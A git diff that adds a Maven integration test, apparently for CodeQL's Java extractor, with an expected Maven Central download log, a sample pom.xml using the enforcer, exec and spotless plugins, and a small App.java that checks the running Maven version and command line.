+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-archiver/3.3/plexus-archiver-3.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-archiver/3.4/plexus-archiver-3.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-archiver/3.4/plexus-archiver-3.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-archiver/4.9.2/plexus-archiver-4.9.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-archiver/4.9.2/plexus-archiver-4.9.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-classworlds/2.2.3/plexus-classworlds-2.2.3.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-classworlds/2.2.3/plexus-classworlds-2.2.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-api/2.8.4/plexus-compiler-api-2.8.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-api/2.8.4/plexus-compiler-api-2.8.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-javac/2.8.4/plexus-compiler-javac-2.8.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-javac/2.8.4/plexus-compiler-javac-2.8.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-manager/2.8.4/plexus-compiler-manager-2.8.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler-manager/2.8.4/plexus-compiler-manager-2.8.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compiler/2.8.4/plexus-compiler-2.8.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-compilers/2.8.4/plexus-compilers-2.8.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/1.5.4/plexus-component-annotations-1.5.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/1.6/plexus-component-annotations-1.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/1.6/plexus-component-annotations-1.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/1.7.1/plexus-component-annotations-1.7.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/1.7.1/plexus-component-annotations-1.7.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/2.0.0/plexus-component-annotations-2.0.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/2.0.0/plexus-component-annotations-2.0.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-component-annotations/2.1.0/plexus-component-annotations-2.1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/1.1.12/plexus-components-1.1.12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/1.1.14/plexus-components-1.1.14.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/1.1.18/plexus-components-1.1.18.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/1.3.1/plexus-components-1.3.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/4.0/plexus-components-4.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-components/6.6/plexus-components-6.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-container-default/1.0-alpha-9-stable-1/plexus-container-default-1.0-alpha-9-stable-1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-container-default/1.0-alpha-9-stable-1/plexus-container-default-1.0-alpha-9-stable-1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-container-default/1.0-alpha-9/plexus-container-default-1.0-alpha-9.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-container-default/1.0-alpha-9/plexus-container-default-1.0-alpha-9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/1.0.3/plexus-containers-1.0.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/1.5.4/plexus-containers-1.5.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/1.6/plexus-containers-1.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/1.7.1/plexus-containers-1.7.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/2.0.0/plexus-containers-2.0.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-containers/2.1.0/plexus-containers-2.1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-i18n/1.0-beta-10/plexus-i18n-1.0-beta-10.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-i18n/1.0-beta-10/plexus-i18n-1.0-beta-10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interactivity-api/1.0-alpha-4/plexus-interactivity-api-1.0-alpha-4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interactivity-api/1.0-alpha-4/plexus-interactivity-api-1.0-alpha-4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.11/plexus-interpolation-1.11.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.11/plexus-interpolation-1.11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.14/plexus-interpolation-1.14.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.14/plexus-interpolation-1.14.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.22/plexus-interpolation-1.22.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.24/plexus-interpolation-1.24.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.24/plexus-interpolation-1.24.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.26/plexus-interpolation-1.26.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-interpolation/1.26/plexus-interpolation-1.26.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-io/2.7.1/plexus-io-2.7.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-io/2.7.1/plexus-io-2.7.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-io/3.4.2/plexus-io-3.4.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-io/3.4.2/plexus-io-3.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-java/0.9.10/plexus-java-0.9.10.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-java/0.9.10/plexus-java-0.9.10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-languages/0.9.10/plexus-languages-0.9.10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-resources/1.2.0/plexus-resources-1.2.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-resources/1.2.0/plexus-resources-1.2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.0.4/plexus-utils-1.0.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.4.1/plexus-utils-1.4.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.15/plexus-utils-1.5.15.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.15/plexus-utils-1.5.15.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.5/plexus-utils-1.5.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.6/plexus-utils-1.5.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.6/plexus-utils-1.5.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/1.5.8/plexus-utils-1.5.8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/2.0.4/plexus-utils-2.0.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/2.0.4/plexus-utils-2.0.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/2.0.5/plexus-utils-2.0.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/3.0.22/plexus-utils-3.0.22.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/3.0.24/plexus-utils-3.0.24.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/3.0.24/plexus-utils-3.0.24.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/3.4.1/plexus-utils-3.4.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/3.4.1/plexus-utils-3.4.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/4.0.1/plexus-utils-4.0.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-utils/4.0.1/plexus-utils-4.0.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-velocity/1.2/plexus-velocity-1.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-velocity/1.2/plexus-velocity-1.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-xml/3.0.0/plexus-xml-3.0.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus-xml/3.0.0/plexus-xml-3.0.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/1.0.10/plexus-1.0.10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/1.0.11/plexus-1.0.11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/1.0.12/plexus-1.0.12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/1.0.4/plexus-1.0.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/13/plexus-13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/16/plexus-16.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/17/plexus-17.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/2.0.2/plexus-2.0.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/2.0.5/plexus-2.0.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/2.0.6/plexus-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/2.0.7/plexus-2.0.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/3.2/plexus-3.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/3.3.1/plexus-3.3.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/3.3.2/plexus-3.3.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/4.0/plexus-4.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/5.1/plexus-5.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/codehaus/plexus/plexus/8/plexus-8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/eclipse/jgit/org.eclipse.jgit-parent/5.13.0.202109080827-r/org.eclipse.jgit-parent-5.13.0.202109080827-r.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/eclipse/jgit/org.eclipse.jgit/5.13.0.202109080827-r/org.eclipse.jgit-5.13.0.202109080827-r.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/eclipse/jgit/org.eclipse.jgit/5.13.0.202109080827-r/org.eclipse.jgit-5.13.0.202109080827-r.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/hamcrest/hamcrest-core/1.3/hamcrest-core-1.3.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/hamcrest/hamcrest-core/1.3/hamcrest-core-1.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/hamcrest/hamcrest-parent/1.3/hamcrest-parent-1.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/iq80/snappy/snappy/0.4/snappy-0.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/iq80/snappy/snappy/0.4/snappy-0.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/junit/junit-bom/5.10.0/junit-bom-5.10.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/junit/junit-bom/5.10.1/junit-bom-5.10.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/junit/junit-bom/5.10.2/junit-bom-5.10.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/junit/junit-bom/5.7.2/junit-bom-5.7.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/junit/junit-bom/5.9.3/junit-bom-5.9.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/asm/asm/6.2/asm-6.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/asm/asm/6.2/asm-6.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/asm/asm/9.7/asm-9.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/asm/asm/9.7/asm-9.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/ow2/1.5.1/ow2-1.5.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/ow2/1.5/ow2-1.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/jcl-over-slf4j/1.5.6/jcl-over-slf4j-1.5.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/jcl-over-slf4j/1.5.6/jcl-over-slf4j-1.5.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.5.6/slf4j-api-1.5.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.5.6/slf4j-api-1.5.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.30/slf4j-api-1.7.30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.32/slf4j-api-1.7.32.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.32/slf4j-api-1.7.32.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.36/slf4j-api-1.7.36.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.36/slf4j-api-1.7.36.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.5/slf4j-api-1.7.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-jdk14/1.5.6/slf4j-jdk14-1.5.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-jdk14/1.5.6/slf4j-jdk14-1.5.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-parent/1.5.6/slf4j-parent-1.5.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-parent/1.7.30/slf4j-parent-1.7.30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-parent/1.7.32/slf4j-parent-1.7.32.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-parent/1.7.36/slf4j-parent-1.7.36.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-parent/1.7.5/slf4j-parent-1.7.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-api/1.7/aether-api-1.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-api/1.7/aether-api-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-impl/1.7/aether-impl-1.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-impl/1.7/aether-impl-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-parent/1.7/aether-parent-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-spi/1.7/aether-spi-1.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-spi/1.7/aether-spi-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-util/1.7/aether-util-1.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-util/1.7/aether-util-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/forge/forge-parent/10/forge-parent-10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/forge/forge-parent/4/forge-parent-4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/forge/forge-parent/5/forge-parent-5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/forge/forge-parent/6/forge-parent-6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/oss/oss-parent/5/oss-parent-5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/oss/oss-parent/7/oss-parent-7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/oss/oss-parent/9/oss-parent-9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-build-api/0.0.7/plexus-build-api-0.0.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-build-api/0.0.7/plexus-build-api-0.0.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-cipher/1.4/plexus-cipher-1.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-cipher/1.4/plexus-cipher-1.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-sec-dispatcher/1.3/plexus-sec-dispatcher-1.3.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-sec-dispatcher/1.3/plexus-sec-dispatcher-1.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/inject/guice-bean/1.4.2/guice-bean-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/inject/guice-plexus/1.4.2/guice-plexus-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-guice/2.1.7/sisu-guice-2.1.7-noaop.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-guice/2.1.7/sisu-guice-2.1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-inject-bean/1.4.2/sisu-inject-bean-1.4.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-inject-bean/1.4.2/sisu-inject-bean-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-inject-plexus/1.4.2/sisu-inject-plexus-1.4.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-inject-plexus/1.4.2/sisu-inject-plexus-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-inject/1.4.2/sisu-inject-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-parent/1.4.2/sisu-parent-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/spice/spice-parent/12/spice-parent-12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/spice/spice-parent/15/spice-parent-15.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/spice/spice-parent/17/spice-parent-17.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/tukaani/xz/1.5/xz-1.5.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/tukaani/xz/1.5/xz-1.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/tukaani/xz/1.9/xz-1.9.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/tukaani/xz/1.9/xz-1.9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/oro/oro/2.0.8/oro-2.0.8.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/oro/oro/2.0.8/oro-2.0.8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/xml-apis/xml-apis/1.0.b2/xml-apis-1.0.b2.pom
diff --git a/java/ql/integration-tests/java/maven-enforcer-multiple-versions/pom.xml b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/pom.xml
new file mode 100644
index 000000000000..becb322222ec
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/pom.xml
@@ -0,0 +1,133 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+  <modelVersion>4.0.0</modelVersion>
+
+  <groupId>com.example</groupId>
+  <artifactId>maven-sample</artifactId>
+  <version>1.0-SNAPSHOT</version>
+
+  <name>maven-sample</name>
+  <!-- FIXME change it to the project's website -->
+  <url>http://www.example.com</url>
+
+  <properties>
+    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+    <maven.compiler.source>1.7</maven.compiler.source>
+    <maven.compiler.target>1.7</maven.compiler.target>
+  </properties>
+
+  <dependencies>
+    <dependency>
+      <groupId>junit</groupId>
+      <artifactId>junit</artifactId>
+      <version>4.11</version>
+      <scope>test</scope>
+    </dependency>
+  </dependencies>
+
+  <build>
+    <plugins>
+      <plugin>
+        <artifactId>exec-maven-plugin</artifactId>
+        <groupId>org.codehaus.mojo</groupId>
+        <version>1.1.1</version>
+        <executions>
+          <execution>
+            <id>check-maven-version</id>
+            <phase>package</phase>
+            <goals>
+              <goal>java</goal>
+            </goals>
+          </execution>
+        </executions>
+        <configuration>
+          <mainClass>com.example.App</mainClass>
+        </configuration>
+      </plugin>
+      <plugin>
+        <groupId>com.diffplug.spotless</groupId>
+        <artifactId>spotless-maven-plugin</artifactId>
+        <version>2.19.1</version>
+        <executions>
+          <execution>
+            <goals>
+              <goal>check</goal>
+            </goals>
+            <phase>compile</phase>
+          </execution>
+        </executions>
+        <configuration>
+          <java>
+            <licenseHeader>
+              <content>/* FAIL ME */</content>
+            </licenseHeader>
+          </java>
+        </configuration>
+      </plugin>
+      <plugin>
+        <groupId>org.apache.maven.plugins</groupId>
+        <artifactId>maven-enforcer-plugin</artifactId>
+        <executions>
+          <execution>
+            <id>enforce-maven</id>
+            <goals>
+              <goal>enforce</goal>
+            </goals>
+            <configuration>
+              <rules>
+                <requireMavenVersion>
+                  <version>(,3.8.2],[3.8.5,)</version>
+                </requireMavenVersion>
+              </rules>
+            </configuration>
+          </execution>
+        </executions>
+      </plugin>
+    </plugins>
+    <pluginManagement>
+      <!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
+      <plugins>
+        <!-- clean lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#clean_Lifecycle -->
+        <plugin>
+          <artifactId>maven-clean-plugin</artifactId>
+          <version>3.1.0</version>
+        </plugin>
+        <!-- default lifecycle, jar packaging: see https://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_jar_packaging -->
+        <plugin>
+          <artifactId>maven-resources-plugin</artifactId>
+          <version>3.0.2</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-compiler-plugin</artifactId>
+          <version>3.8.0</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-surefire-plugin</artifactId>
+          <version>2.22.1</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-jar-plugin</artifactId>
+          <version>3.0.2</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-install-plugin</artifactId>
+          <version>2.5.2</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-deploy-plugin</artifactId>
+          <version>2.8.2</version>
+        </plugin>
+        <!-- site lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#site_Lifecycle -->
+        <plugin>
+          <artifactId>maven-site-plugin</artifactId>
+          <version>3.7.1</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-project-info-reports-plugin</artifactId>
+          <version>3.0.0</version>
+        </plugin>
+      </plugins>
+    </pluginManagement>
+  </build>
+</project>
diff --git a/java/ql/integration-tests/java/maven-enforcer-multiple-versions/source_archive.expected b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/source_archive.expected
new file mode 100644
index 000000000000..59a81a01481c
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/source_archive.expected
@@ -0,0 +1,10 @@
+pom.xml
+src/main/java/com/example/App.java
+src/main/resources/my-app.properties
+src/main/resources/page.xml
+src/main/resources/struts.xml
+src/test/java/com/example/AppTest.java
+target/classes/my-app.properties
+target/classes/page.xml
+target/classes/struts.xml
+target/maven-archiver/pom.properties
diff --git a/java/ql/integration-tests/java/maven-enforcer-multiple-versions/src/main/java/com/example/App.java b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/src/main/java/com/example/App.java
new file mode 100644
index 000000000000..c9eec918587c
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/src/main/java/com/example/App.java
@@ -0,0 +1,30 @@
+package com.example;
+
+import java.util.regex.Pattern;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+
+/**
+ * Hello world!
+ *
+ */
+public class App 
+{
+    public static void main( String[] args )
+    {
+        System.out.println( "Hello World!" );
+        String expectedVersion = System.getenv("EXPECT_MAVEN");
+        Path mavenHome = Paths.get(System.getProperty("maven.home")).normalize();
+        String observedVersion = mavenHome.getFileName().toString();
+        if (expectedVersion != null && !expectedVersion.equals(observedVersion)) {
+                System.err.println("Wrong maven version, expected '" + expectedVersion + "' but got '" + observedVersion + "'" + mavenHome);
+                System.exit(1);
+        }
+        String commandMatcher = System.getenv("EXPECT_COMMAND_REGEX");
+        String command = System.getProperty("sun.java.command");
+        if (commandMatcher != null && !Pattern.matches(commandMatcher, command)) {
+                System.err.println("Wrong command line, '" + command + "' does not match '" + commandMatcher + "'");
+                System.exit(1);
+        }
+    }
+}
diff --git a/java/ql/integration-tests/java/maven-enforcer-multiple-versions/src/main/resources/my-app.properties b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/src/main/resources/my-app.properties
new file mode 100644
index 000000000000..e566b49a29a8
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/src/main/resources/my-app.properties
@@ -0,0 +1 @@
+version=1.0
diff --git a/java/ql/integration-tests/java/maven-enforcer-multiple-versions/src/main/resources/page.xml b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/src/main/resources/page.xml
new file mode 100644
index 000000000000..2bab459cb031
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/src/main/resources/page.xml
@@ -0,0 +1,8 @@
+<html>
+<head>
+<title>A sample</title>
+</head>
+<body>
+<p>Hello world!</p>
+</body>
+</html>
diff --git a/java/ql/integration-tests/java/maven-enforcer-multiple-versions/src/main/resources/struts.xml b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/src/main/resources/struts.xml
new file mode 100644
index 000000000000..73fc0c6b9cb6
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/src/main/resources/struts.xml
@@ -0,0 +1,4 @@
